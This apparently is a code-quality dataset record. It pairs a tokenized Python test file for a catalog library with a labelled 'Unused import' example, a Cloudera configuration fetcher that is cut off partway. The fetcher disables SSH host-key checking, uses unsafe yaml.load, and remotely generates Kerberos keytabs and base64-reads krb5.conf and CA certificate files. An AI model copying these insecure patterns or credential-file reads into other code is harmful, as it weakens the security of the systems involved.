"\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "create", "\\u", "catal", "og", "\\u", "at", "\\u", "path_", "(_", "self_", "._", "catal", "og", "\\u", "dir_", ",_", "'", "com", ".", "mind", "sna", "cks", ".", "test", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "catalog_", "._", "index_", "._", "bundle", "\\u", "names_", "(_", ")_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "version", "s", "\\u", "for", "\\u", "nonexist", "ant", "\\u", "bundle_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "create", "\\u", "catal", "og", "\\u", "at", "\\u", "path_", "(_", "self_", "._", "catal", "og", "\\u", "dir_", ",_", "'", "com", ".", "mind", "sna", "cks", ".", "test", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "versions_", "=_", "catalog_", "._", "index_", "._", "version", "s", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "versions_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "bundle", "\\u", "version_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "self_", "._", "\\u", "build", "\\u", "test\\u", "catalog_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "mee", "p", "\"_", "in_", "catalog_", "._", "get", "\\u", "index_", "(_", ")_", "._", "bundle", "\\u", "names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "1_", "in_", "catalog_", "._", "get", "\\u", "index_", "(_", ")_", "._", "version", "s", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "=_", "catalog_", "._", "manifest", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "manifest_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "file_", ",_", "props_", ")_", "in_", "manifest_", "._", "files_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sha_", "=_", "props_", "[_", "'", "sha", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "formats_", "=_", "props_", "[_", "'", "formats", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "format_", "in_", "formats_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ext_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "format_", "==_", "'", "gz", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ext_", "=_", "'", "gz", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "object\\u", "path_", "=_", "Zi", "nc", "Catalog", "Path", "Helper_", "(_", ")_", "._", "path", "\\u", "for", "\\u", "file", "\\u", "with", "\\u", "sha_", "(_", "sha_", ",_", "ext_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "path", "\\u", "exist", "s", "\\u", "in", "\\u", "catalog_", "(_", "object\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bundle", "\\u", "name", "\\u", "in", "\\u", "manifest_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "self_", "._", "\\u", "build", "\\u", "test\\u", "catalog_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bundle", "\\u", "name_", "=_", "\"", "mee", "p", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "=_", "catalog_", "._", "manifest", "\\u", "for", "\\u", "bundle_", "(_", "bundle", "\\u", "name_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "manifest_", "._", "bundle", "\\u", "name_", "==_", "bundle", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "second", "\\u", "bundle", "\\u", "version_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "self_", "._", "\\u", "build", "\\u", "test\\u", "catalog_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "random", "\\u", "file_", "(_", "self_", "._", "scratch", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "\\u", "bundle", "\\u", "version_", "(_", "catalog_", ",_", "\"", "mee", "p", "\"_", ",_", "self_", "._", "scratch", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "2_", "in_", "catalog_", "._", "get", "\\u", "index_", "(_", ")_", "._", "version", "s", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "index_", "=_", "Zi", "nc", "Index_", "._", "from", "\\u", "path_", "(_", "os_", "._", "path_", "._", "join_", "(_", "catalog_", "._", "path_", ",_", "defaults_", "[_", "'", "catal", "og", "\\u", "index", "\\u", "name", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "1_", "in_", "new", "\\u", "index_", "._", "version", "s", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "2_", "in_", "new", "\\u", "index_", "._", "version", "s", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "duplicat", "e\\u", "bundle", "\\u", "version", "\\u", "no", "\\u", "force_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "self_", "._", "\\u", "build", "\\u", "test\\u", "catalog_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "random", "\\u", "file_", "(_", "self_", "._", "scratch", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "first", " ", "version_", "\\u\\u\\uNL\\u\\u\\u_", "manifest", "1_", "=_", "create", "\\u", "bundle", "\\u", "version_", "(_", "catalog_", ",_", "\"", "mee", "p", "\"_", ",_", "self_", "._", "scratch", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "2_", "in_", "catalog_", "._", "get", "\\u", "index_", "(_", ")_", "._", "version", "s", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "atte", "mpt", " ", "to", " ", "create", " ", "same", " ", "version", " ", "again", "_", "\\u\\u\\uNL\\u\\u\\u_", "manifest", "2_", "=_", "create", "\\u", "bundle", "\\u", "version_", "(_", "catalog_", ",_", "\"", "mee", "p", "\"_", ",_", "self_", "._", "scratch", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "manifest", "1_", "._", "version_", ",_", "manifest", "2_", "._", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "duplicat", "e\\u", "bundle", "\\u", "version", "\\u", "with", "\\u", "force_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "self_", "._", "\\u", "build", "\\u", "test\\u", "catalog_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "random", "\\u", "file_", "(_", "self_", "._", "scratch", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "first", " ", "version_", "\\u\\u\\uNL\\u\\u\\u_", "manifest", "1_", "=_", "create", "\\u", "bundle", "\\u", "version_", "(_", "catalog_", ",_", "\"", "mee", "p", "\"_", ",_", "self_", "._", "scratch", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "2_", "in_", "catalog_", "._", "get", "\\u", "index_", "(_", ")_", "._", "version", "s", "\\u", "for", "\\u", "bundle_", "(_", "\"", "mee", "p", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "atte", "mpt", " ", "to", " ", "create", " ", "same", " ", "version", " ", "again", ",", " ", "with", " ", "force_", "\\u\\u\\uNL\\u\\u\\u_", "manifest", "2_", "=_", "create", "\\u", "bundle", "\\u", "version_", "(_", "catalog_", ",_", "\"", "mee", "p", "\"_", ",_", "self_", "._", "scratch", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "force_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equals_", "(_", "manifest", "1_", "._", "version_", ",_", "manifest", "2_", "._", "version_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Zi", "nc", "Catalog", "Test", "Case_", "(_", "Temp", "Dir", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "save", "\\u", "prev", "\\u", "distr", "o", "\\u", "if", "\\u", "no", "\\u", "previous_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "set", " ", "up_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "catalog_", "=_", "self_", "._", "\\u", "build", "\\u", "test\\u", "catalog_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bundle", "\\u", "name_", ",_", "distro_", "=_", "\"", "mee", "p", "\"_", ",_", "\"", "master", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "'", "master", "'", " ", "distr", "o", " ", "at", " ", "v1_", "\\u\\u\\uNL\\u\\u\\u_", "catalog_", "._", "update", "\\u", "distribution_", "(_", "distro_", ",_", "bundle", "\\u", "name_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "verify_", "\\u\\u\\uNL\\u\\u\\u_", "prev", "\\u", "distro_", "=_", "helpers_", "._", "distr", "o", "\\u", "previ", "ous", "\\u", "name_", "(_", "distro_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev", "\\u", "version_", "=_", "catalog_", "._", "index_", "._", "version", "\\u", "for", "\\u", "bundle_", "(_", "bundle", "\\u", "name_", ",_", "prev", "\\u", "distro_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
trustedanalytics/platform-appstack/env_vars_fetcher/cdh_utilities.py
[ { "content": "try:\n from sshtunnel import SSHTunnelForwarder\nexcept ImportError:\n from sshtunnel.sshtunnel import SSHTunnelForwarder\nfrom cm_api.api_client import ApiResource, ApiException\nfrom cm_api.endpoints.services import ApiService, ApiServiceSetupInfo\nimport paramiko\nimport json\nimport yaml\nimport requests\nimport subprocess\nimport zipfile\nimport shutil\nimport os\nimport logger\nimport base64\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class CdhConfExtractor(object):\n\n\n\n\n # Cdh launcher methods\n\n\n\n\n # Cdh manager methods\n\n\n\n\n\n\n\n\n\n\n # helpful methods\n\n\n", "metadata": "root.CdhConfExtractor", "header": "['module', '___EOS___']", "index": 17 }, { "content": " def __init__(self, config_filename=None):\n self._logger = logger.get_info_logger(__name__)\n self.config_filename = config_filename if config_filename else 'fetcher_config.yml'\n config = self._load_config_yaml(self.config_filename)\n self._hostname = config['machines']['cdh-launcher']['hostname']\n self._hostport = config['machines']['cdh-launcher']['hostport']\n self._username = config['machines']['cdh-launcher']['username']\n self._key_filename = config['machines']['cdh-launcher']['key_filename']\n self._key = os.path.expanduser(self._key_filename)\n self._key_password = config['machines']['cdh-launcher']['key_password']\n self._is_openstack = config['openstack_env']\n self._is_kerberos = config['kerberos_used']\n self._cdh_manager_ip = config['machines']['cdh-manager']['ip']\n self._cdh_manager_user = config['machines']['cdh-manager']['user']\n self._cdh_manager_sshtunnel_required = config['machines']['cdh-manager']['sshtunnel_required']\n self._cdh_manager_password = config['machines']['cdh-manager']['password']", "metadata": "root.CdhConfExtractor.__init__", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 19 }, { "content": " def __enter__(self):\n extractor = self\n try:\n if self._cdh_manager_sshtunnel_required:\n self._logger.info('Creating tunnel to CDH-Manager.')\n extractor.create_tunnel_to_cdh_manager()\n extractor.start_cdh_manager_tunneling()\n self._logger.info('Tunnel to CDH-Manager has been created.')\n else:\n self._logger.info('Connection to CDH-Manager host without ssh tunnel.')\n self._local_bind_address = self.extract_cdh_manager_host()\n self._local_bind_port = 7180\n return extractor\n except Exception as exc:\n self._logger.error('Cannot creating tunnel to CDH-Manager machine.')\n raise exc", "metadata": "root.CdhConfExtractor.__enter__", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 36 }, { "content": " def __exit__(self, exc_type, exc_val, exc_tb):\n try:\n if self._cdh_manager_sshtunnel_required:\n self.stop_cdh_manager_tunneling()\n self._logger.info('Tunelling to CDH-Manager stopped.')\n except Exception as exc:\n self._logger.error('Cannot close tunnel to CDH-Manager machine.')\n raise exc", "metadata": "root.CdhConfExtractor.__exit__", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": " def create_ssh_connection(self, hostname, username, key_filename, key_password):\n try:\n self._logger.info('Creating connection to remote host {0}.'.format(hostname))\n self.ssh_connection = paramiko.SSHClient()\n self.ssh_connection.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self.ssh_connection.connect(hostname, username=username, key_filename=key_filename, password=key_password)\n self._logger.info('Connection to host {0} established.'.format(hostname))\n except Exception as exc:\n self._logger.error('Cannot creating connection to host {0} machine. Check your settings '\n 'in fetcher_config.yml file.'.format(hostname))\n raise exc", "metadata": "root.CdhConfExtractor.create_ssh_connection", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 63 }, { "content": " def close_ssh_connection(self):\n try:\n self.ssh_connection.close()\n self._logger.info('Connection to remote host closed.')\n except Exception as exc:\n self._logger.error('Cannot close connection to the remote host.')\n raise exc", "metadata": "root.CdhConfExtractor.close_ssh_connection", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 75 }, { "content": " def ssh_call_command(self, command, subcommands=None):\n self._logger.info('Calling remote command: \"{0}\" with subcommands \"{1}\"'.format(command, subcommands))\n ssh_in, ssh_out, ssh_err = self.ssh_connection.exec_command(command, get_pty=True)\n if subcommands != None:\n for subcommand in subcommands:\n ssh_in.write(subcommand + '\\n')\n ssh_in.flush()\n return ssh_out.read() if ssh_out is not None else ssh_err.read()", "metadata": "root.CdhConfExtractor.ssh_call_command", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 83 }, { "content": " def extract_cdh_manager_host(self):\n self._logger.info('Extracting CDH-Manager address.')\n if self._cdh_manager_ip is None:\n self.create_ssh_connection(self._hostname, self._username, self._key_filename, self._key_password)\n if self._is_openstack:\n ansible_ini = self.ssh_call_command('cat ansible-cdh/platform-ansible/inventory/cdh')\n else:\n ansible_ini = self.ssh_call_command('cat ansible-cdh/inventory/cdh')\n self._cdh_manager_ip = self._get_host_ip('cdh-manager', ansible_ini)\n self.close_ssh_connection()\n self._logger.info('CDH-Manager adress extracted: {}'.format(self._cdh_manager_ip))\n return self._cdh_manager_ip", "metadata": "root.CdhConfExtractor.extract_cdh_manager_host", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 92 }, { "content": " def create_tunnel_to_cdh_manager(self, local_bind_address='localhost', local_bind_port=7180, remote_bind_port=7180):\n self._local_bind_address = local_bind_address\n self._local_bind_port = local_bind_port\n self.cdh_manager_tunnel = SSHTunnelForwarder(\n (self._hostname, self._hostport),\n ssh_username=self._username,\n local_bind_address=(local_bind_address, local_bind_port),\n remote_bind_address=(self.extract_cdh_manager_host(), remote_bind_port),\n ssh_private_key_password=self._key_password,\n ssh_private_key=self._key\n )", "metadata": "root.CdhConfExtractor.create_tunnel_to_cdh_manager", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 106 }, { "content": " def start_cdh_manager_tunneling(self):\n try:\n self.cdh_manager_tunnel.start()\n except Exception as e:\n self._logger.error('Cannot start tunnel: ' + e.message)", "metadata": "root.CdhConfExtractor.start_cdh_manager_tunneling", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 118 }, { "content": " def stop_cdh_manager_tunneling(self):\n try:\n self.cdh_manager_tunnel.stop()\n except Exception as e:\n self._logger.error('Cannot stop tunnel: ' + e.message)", "metadata": "root.CdhConfExtractor.stop_cdh_manager_tunneling", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 124 }, { "content": " def extract_cdh_manager_details(self, settings):\n for host in settings['hosts']:\n if 'cdh-manager' in host['hostname']:\n return host", "metadata": "root.CdhConfExtractor.extract_cdh_manager_details", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 130 }, { "content": " def extract_nodes_info(self, name, settings):\n nodes = []\n for host in settings['hosts']:\n if name in host['hostname']:\n nodes.append(host)\n return nodes", "metadata": "root.CdhConfExtractor.extract_nodes_info", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 135 }, { "content": " def extract_service_namenode(self, service_name, role_name, settings):\n hdfs_service = self._find_item_by_attr_value(service_name, 'name', settings['clusters'][0]['services'])\n hdfs_namenode = self._find_item_by_attr_value(role_name, 'name', hdfs_service['roles'])\n host_id = hdfs_namenode['hostRef']['hostId']\n return self._find_item_by_attr_value(host_id, 'hostId', settings['hosts'])['hostname']", "metadata": "root.CdhConfExtractor.extract_service_namenode", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 142 }, { "content": " def get_client_config_for_service(self, service_name):\n result = requests.get('http://{0}:{1}/api/v10/clusters/CDH-cluster/services/{2}/clientConfig'.format(self._local_bind_address, self._local_bind_port, service_name))\n return base64.standard_b64encode(result.content)", "metadata": "root.CdhConfExtractor.get_client_config_for_service", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 148 }, { "content": " def generate_keytab(self, principal_name):\n self._logger.info('Generating keytab for {} principal.'.format(principal_name))\n self.create_ssh_connection(self._hostname, self._username, self._key_filename, self._key_password)\n sftp = self.ssh_connection.open_sftp()\n sftp.put('utils/generate_keytab_script.sh', '/tmp/generate_keytab_script.sh')\n self.ssh_call_command('scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no /tmp/generate_keytab_script.sh {0}:/tmp/'.format(self._cdh_manager_ip))\n self.ssh_call_command('ssh -t {0} -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \"chmod 700 /tmp/generate_keytab_script.sh\"'.format(self._cdh_manager_ip))\n keytab_hash = self.ssh_call_command('ssh -t {0} -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \"/tmp/generate_keytab_script.sh {1}\"'\n .format(self._cdh_manager_ip, principal_name))\n self.close_ssh_connection()\n lines = keytab_hash.splitlines()\n self._logger.info('Keytab for {} principal has been generated.'.format(principal_name))\n return '\"{}\"'.format(''.join(lines[2:-2]))", "metadata": "root.CdhConfExtractor.generate_keytab", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 152 }, { "content": " def generate_base64_for_file(self, file_path, hostname):\n self._logger.info('Generating base64 for {} file.'.format(file_path))\n self.create_ssh_connection(self._hostname, self._username, self._key_filename, self._key_password)\n base64_file_hash = self.ssh_call_command('ssh -t {0} -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \"base64 {1}\"'.format(hostname, file_path))\n self.close_ssh_connection()\n lines = base64_file_hash.splitlines()\n self._logger.info('Base64 hash for {0} file on {1} machine has been generated.'.format(file_path, hostname))\n return '\"{}\"'.format(''.join(lines[2:-2]))", "metadata": "root.CdhConfExtractor.generate_base64_for_file", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 166 }, { "content": " def get_all_deployments_conf(self):\n result = {}\n deployments_settings = json.loads(requests.get('http://' + self._local_bind_address + ':'\n + str(self._local_bind_port) + '/api/v10/cm/deployment',\n auth=(self._cdh_manager_user, self._cdh_manager_password)).content)\n result['cloudera_manager_internal_host'] = self.extract_cdh_manager_details(deployments_settings)['hostname']\n\n if self._is_kerberos:\n result['kerberos_host'] = result['cloudera_manager_internal_host']\n result['hdfs_keytab_value'] = self.generate_keytab('hdfs')\n result['auth_gateway_keytab_value'] = self.generate_keytab('authgateway/sys')\n result['hgm_keytab_value'] = self.generate_keytab('hgm/sys')\n result['vcap_keytab_value'] = self.generate_keytab('vcap')\n result['krb5_base64'] = self.generate_base64_for_file('/etc/krb5.conf', self._cdh_manager_ip)\n result['kerberos_cacert'] = self.generate_base64_for_file('/var/krb5kdc/cacert.pem', self._cdh_manager_ip)\n\n helper = CdhApiHelper(ApiResource(self._local_bind_address, username=self._cdh_manager_user, password=self._cdh_manager_password, version=9))\n hgm_service = helper.get_service_from_cdh('HADOOPGROUPSMAPPING')\n result['hgm_adress'] = 'http://' + helper.get_host(hgm_service, 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER') + ':' \\\n + helper.get_entry_from_group(hgm_service, 'rest_port', 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER-BASE')\n result['hgm_password'] = helper.get_entry_from_group(hgm_service, 'basic_auth_pass', 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER-BASE')\n result['hgm_username'] = helper.get_entry_from_group(hgm_service, 'basic_auth_user', 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER-BASE')\n\n sentry_service = helper.get_service_from_cdh('SENTRY')\n result['sentry_port'] = helper.get_entry(sentry_service, 'sentry_service_server_rpc_port')\n result['sentry_address'] = helper.get_host(sentry_service)\n result['sentry_keytab_value'] = self.generate_keytab('hive/sys')\n result['auth_gateway_profile'] = 'cloud,zookeeper-auth-gateway,hdfs-auth-gateway,kerberos-hgm-auth-gateway,sentry-auth-gateway'\n else:\n result['sentry_port'] = \"''\"\n result['sentry_address'] = \"''\"\n result['sentry_keytab_value'] = \"''\"\n result['hdfs_keytab_value'] = \"''\"\n result['auth_gateway_keytab_value'] = \"''\"\n result['vcap_keytab_value'] = '\"\"'\n result['hgm_keytab_value'] = '\"\"'\n result['krb5_base64'] = '\"\"'\n result['kerberos_cacert'] = '\"\"'\n result['auth_gateway_profile'] = 'cloud,zookeeper-auth-gateway,hdfs-auth-gateway,https-hgm-auth-gateway'\n\n helper = CdhApiHelper(ApiResource(self._local_bind_address, username=self._cdh_manager_user, password=self._cdh_manager_password, version=9))\n hgm_service = helper.get_service_from_cdh('HADOOPGROUPSMAPPING')\n result['hgm_adress'] = 'https://' + helper.get_host(hgm_service, 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER') + ':' \\\n + helper.get_entry_from_group(hgm_service, 'rest_port', 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER-BASE')\n result['hgm_password'] = helper.get_entry_from_group(hgm_service, 'basic_auth_pass', 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER-BASE')\n result['hgm_username'] = helper.get_entry_from_group(hgm_service, 'basic_auth_user', 'HADOOPGROUPSMAPPING-HADOOPGROUPSMAPPING_RESTSERVER-BASE')\n\n\n master_nodes = self.extract_nodes_info('cdh-master', deployments_settings)\n for i, node in enumerate(master_nodes):\n result['master_node_host_' + str(i+1)] = node['hostname']\n result['namenode_internal_host'] = self.extract_service_namenode('HDFS', 'HDFS-NAMENODE', deployments_settings)\n result['hue_node'] = self.extract_service_namenode('HUE', 'HUE-HUE_SERVER', deployments_settings)\n result['h2o_node'] = self.extract_nodes_info('cdh-worker-0', deployments_settings)[0]['hostname']\n result['arcadia_node'] = self.extract_nodes_info('cdh-worker-0', deployments_settings)[0]['hostname']\n result['import_hadoop_conf_hdfs'] = self.get_client_config_for_service('HDFS')\n result['import_hadoop_conf_hbase'] = self.get_client_config_for_service('HBASE')\n result['import_hadoop_conf_yarn'] = self.get_client_config_for_service('YARN')\n\n return result", "metadata": "root.CdhConfExtractor.get_all_deployments_conf", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 175 }, { "content": " def _find_item_by_attr_value(self, attr_value, attr_name, array_with_dicts):\n return next(item for item in array_with_dicts if item[attr_name] == attr_value)", "metadata": "root.CdhConfExtractor._find_item_by_attr_value", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 238 }, { "content": " def _get_host_ip(self, host, ansible_ini):\n host_info = []\n for line in ansible_ini.split('\\n'):\n if host in line:\n host_info.append(line.strip())\n return host_info[host_info.index('[' + host + ']') + 1].split(' ')[1].split('=')[1]", "metadata": "root.CdhConfExtractor._get_host_ip", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 241 }, { "content": " def _load_config_yaml(self, filename):\n with open(filename, 'r') as stream:\n return yaml.load(stream)", "metadata": "root.CdhConfExtractor._load_config_yaml", "header": "['class', 'CdhConfExtractor', '(', 'object', ')', ':', '___EOS___']", "index": 248 }, { "content": "class CdhApiHelper(object):\n\n\n\n # get host ip for service or specified service role\n\n", "metadata": "root.CdhApiHelper", "header": "['module', '___EOS___']", "index": 252 }, { "content": " def __init__(self, cdhApi):\n 